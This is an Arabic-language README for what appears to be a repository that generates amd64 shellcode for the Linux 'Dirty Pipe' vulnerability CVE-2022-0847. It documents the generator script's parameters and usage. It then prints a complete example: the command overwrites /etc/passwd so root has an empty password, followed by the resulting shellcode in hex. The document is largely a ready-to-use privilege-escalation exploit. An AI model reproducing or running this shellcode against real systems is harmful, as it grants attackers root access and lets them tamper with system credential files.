
تنفيذ CVE-2022-0847 كشيلكود
يحتوي هذا المستودع على سكربت بايثون (gen_shellcode.py)، مبني على pwntools، لتوليد شيلكود ينفذ CVE-2022-0847.
يعتمد الشيلكود على هذا الـ PoC: antx.
قمت بتحليل كود الـ PoC وتنفيذه باستخدام strace لالتقاط جميع استدعاءات النظام اللازمة لتنفيذ الاستغلال، وكتبت في البداية برنامجًا بلغة C يستخدم syscall.h؛ لم يكن مناسبًا بعد كشيلكود، لكنه جيد كمرجع، لذا أرفقته هنا (tiny_cve-2022-0847.c).
تأخذ الدالة التي تولّد الشيلكود 3 معاملات: مسار الملف المراد الكتابة إليه، البيانات المراد كتابتها، والإزاحة (offset) التي يجب أن تُكتب عندها البيانات.
يمكن العثور على مثال لشيلكود مولّد، بصيغة التفكيك من objdump، في shellcode.asm؛ تم توليده بالمعاملات التالية:
/etc/passwd:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n4يترك حساب الجذر (root) بكلمة مرور فارغة.
$ python gen_shellcode.py
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]
يمكنك استيراد الدالة cve_2022_0847، التي تولّد الشيلكود، لاستدعائها في سكربتات أخرى، أو استخدام هذا السكربت مباشرة؛ توجد دالة example_usage تستدعي cve_2022_0847 وتُنشئ ملف ELF يحتوي على الشيلكود.
تقوم الدالة cve_2022_0847 أيضًا ببعض الفحوصات الأساسية، وتطبع ما قد يسبب مشكلة في الاستغلال والشيلكود المفكّك إذا تم تعيين المعامل verbose.
تُرجع الشيلكود المُجمَّع. تستدعي الدالة main الدالة cve_2022_0847 مع معاملات سطر الأوامر وتطبع الشيلكود الناتج بصيغة hex بنمط C، أي بدون فك ترميز البايتات القابلة للطباعة. على سبيل المثال:
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
البنية المدعومة هي amd64 فقط.